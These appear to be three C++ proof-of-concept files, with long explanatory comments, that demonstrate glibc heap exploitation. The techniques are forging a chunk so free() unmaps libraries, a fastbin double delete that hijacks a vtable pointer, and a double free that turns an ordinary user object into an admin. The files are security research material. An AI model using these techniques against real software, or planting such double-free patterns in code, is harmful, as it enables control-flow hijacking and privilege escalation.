---------------unmap-glibc.cpp-------------
/* glibc unmap example
*
* This is not a super functional example and mostly
* just a demonstration that you can trigger the
* unmapping of other sections of memory by abusing
* free(). Depeding on the value of siz, its actually
* possible to unmap mostly the address space and segfault
* upon return, or segfault on the next libc call.
*
* Depending on the precise layout of the application and
* the siz of the unmapping, you can CHANGE THE BASE ADDRESS
* for pre-existing modules. It seems like this might be useful
* to replicate GOT/PLT writes in lazy bound applications or
* similar, but that hasn't been overly explored.
*
* Furthermore, realloc() can be utilized in a similar manner,
* however it is more likely to fail. There are some interesting
* code paths inside of the mremap system call (as of 4.0.0) that
* could cause it to return the pointer in question, so in some
* bizarre scenario it may be possible to confuse an application
* into allocating a pointer already allocated, however you would
* need to have control of the pointer when it went into realloc
* and at least set the mmap flag (0x02) at
* ptr-sizeof(struct malloc_chunk)+sizeof(size_t) which makes the
* idea mostly useless.
*
* munmap is more useful, especially for large mappings because
* they will tend to fall towards the beginning of the address
* space preceeding the first loaded module, thus you can
* manipulate the location and mappings of the entire address
* space this way, and as I said, possibly, potentially cause
* GOT/PLT type SNAFUs, although that was unexplored.
*
* The major caveat that makes this generally unrealistic
* is that you need to have control of the pointer passed to free()
* and be able to ensure that the map flag is set and that the
* pointer minus the prev_size bitwise or'd with the pointer
* plus the prev_size plus the mapping size is aligned properly.
* There is no check to ensure this arithmetic does not wrap around
* the address space, however at times the masking of low-order bits
* is problematic.
*
* At any rate, im sure in some weird set of exploitation circumstances
* this knowledge could provide rather useful.
*/
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <string>
#include <unistd.h>
signed int
main(void)
{
char* ptr = nullptr;
char* dst = nullptr;
size_t* siz = nullptr;
malloc(1);
for (size_t idx = 0; idx < 5; idx++) {
ptr = static_cast< char* >(malloc(1024 * 1024 * 1024));
dst = ptr+(4096-16);
std::memcpy(dst, ptr-16, 16);
siz = reinterpret_cast< size_t* >(dst);
*siz = 1024*1024*1024+512*1024; //+256*1024*1024;
dst += 16;
free(dst);
}
// the _exit() is because we almost certainly
// screwed up the loaded libraries in such a
// manner that the application segfaults when
// their destructors are called...because data
// or their instructions no longer exist.
//
// Yes, you can unmap loaded libraries, you can
// unmap lots of them at the same time without
// the loader being aware of it.
_exit(EXIT_SUCCESS);
return EXIT_SUCCESS;
}
-----------virtual-glibc.cpp---------------
/* glibc fastbin's double destructor example
*
* This example doesn't actually double free.
* Instead it takes advantage of heap state and the
* fastbin linking mechanisms to redirect execution
* flow to a pointer of the attackers choosing
* when the destructor is called the same time.
*
* When vtable verification is absent, this will
* attempt to call 0x4141414141414141 and segfault.
*
* When vtable verification is present, it will
* do the same, however it will abort due to the
* failure to verify the vftable. A work around
* would be any condition where the attacker is able
* to reconstruct the vftable of type_one inside of
* m_buf/etc.
*
* This condition occurs because:
* - p->fd = *fb
* *fb = p->fd
*
* Thus if an attacker can control the state of the
* fastbin, and the data within the chunk at the top
* of the fastbin, then they can cause the p->fd linking
* which corrupts the vtable pointer to point to a
* location of their choosing.
*
* The caveat being that the subsequent calls through the
* vtable are sufficiently deep enough into the table
* to point past the end of the heaps metadata for the
* chunk.
*
* !!!!
* JEMALLOC DOES NOT SHARE THIS CONDITION
* !!!!
*
* tcmalloc seems to exhibit alternative memory
* corrupt which makes the outcome less stable
* however the what and why of it was not investigated.
*/
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <string>
#include <vector>
class type_one
{
private:
uint8_t m_buf[32];
protected:
/*
* For the initial steps, the biggest
* constraint is that vptr+offset to destructor
* must be greater than the metadata in mallocs
* chunk structures. In practice, this doesn't
* seem to be overly problematic, for instance
* in Qt everything is derived from QObject
* with at least a few additional derived
* classes. Thus what seems unreasonable or at
* least bordering on it in this example really
* isnt.
*/
virtual void method_one(void) {}
virtual void method_two(void) {}
virtual void method_three(void) {}
virtual void method_four(void) {}
virtual void method_five(void) {}
virtual void method_six(void) {}
virtual void method_seven(void) {}
virtual void method_eight(void) {}
virtual void method_nine(void) {}
virtual void method_ten(void) {}
virtual void method_eleven(void) {}
public:
type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); return; }
virtual ~type_one(void) { return; }
};
signed int
main(void)
{
type_one* one(nullptr);
type_one* pad_zero(nullptr);
type_one* pad_one(nullptr);
/*
* What we are specifically abusing here is that
* fastbin chunks are not doubly linked, and
* they are linked into the fastbin freelist
* via a construct akin to:
* p->FD = *fb;
* *fb = p;
*
* This has the side effect that our vftable
* pointer is corrupted during free. However
* depending on context of the application,
* this can be useful to us; although only
* in the presence of other failures like a
* leak that discloses address space layout
* and similar.
*/
pad_zero = new type_one;
pad_one = new type_one;
delete pad_zero;
delete pad_one;
/*
* with a chunk whose data we can
* control preceeding the object
* we intend to double free,
* we can seize control of
* the instruction pointer here
* providing that the data we control
* is is outside of mallocs metadata.
*/
one = new type_one;
delete one; // <-- corrupts the vptr
delete one; // <-- attempts to call vptr+offset
// which points to m_buf[x]
return EXIT_SUCCESS;
}
-----------------virtual-staticdtor-same.cpp-------------------
/* glibc fastbin / tcmalloc / jemalloc double destructor/free example
*
* This example demonstrates a pattern with a base type with a protected
* destructor so as to avoid glibc's corruption of the vftable pointer,
* that exact condition does not exhibit itself with jemalloc, however
* there appears to be additional memory corruption in tcmalloc that
* leaves the heap in a less than stable state, however it was not
* further investigated.
*
* In this example, whether vtable verification is enabled or not is
* irrelevant, as the same object type occupies the same memory location
* and so all vptr's will correctly validate. However, the instance
* variables are shared and thus the objects become entangled with
* one another and a modification to the state of one object modifies
* the state of the other. As such, the unauthenticated regular user
* becomes an authenticated administrative user when the instance
* variables in one instance are changed.
*
*/
#include <cstdint>
#include <cstdlib>
#include <vector>
#include <iostream>
class user_base_type
{
private:
protected:
bool m_is_admin;
bool m_is_auth;
~user_base_type(void) {}
public:
user_base_type(bool auth, bool admin) : m_is_auth(auth), m_is_admin(admin) {}
virtual void set_auth(bool a) { m_is_auth = a; }
virtual void set_admin(bool a) { m_is_admin = a; }
virtual bool get_auth(void) { return m_is_auth; }
virtual bool get_admin(void) { return m_is_admin; }
};
class user_type : public user_base_type
{
private:
protected:
public:
user_type(void) : user_base_type(false, false) {}
~user_type(void) {}
};
signed int
main(void)
{
user_type* o(nullptr);
user_type* t(nullptr);
user_type* h(nullptr);
o = new user_type;
t = new user_type;
delete o;
delete t;
delete o;
o = new user_type;
t = new user_type;
h = new user_type;
std::cout << "o: " << o << " t: " << t << " h: " << h << std::endl;
o->set_auth(false);
o->set_admin(false);
h->set_auth(true);
h->set_admin(true);
std::cout << "o auth: " << o->get_auth() << " admin: " << o->get_admin() << std::endl;
std::cout << "h auth: " << h->get_auth() << " admin: " << h->get_admin() << std::endl;
return EXIT_SUCCESS;
}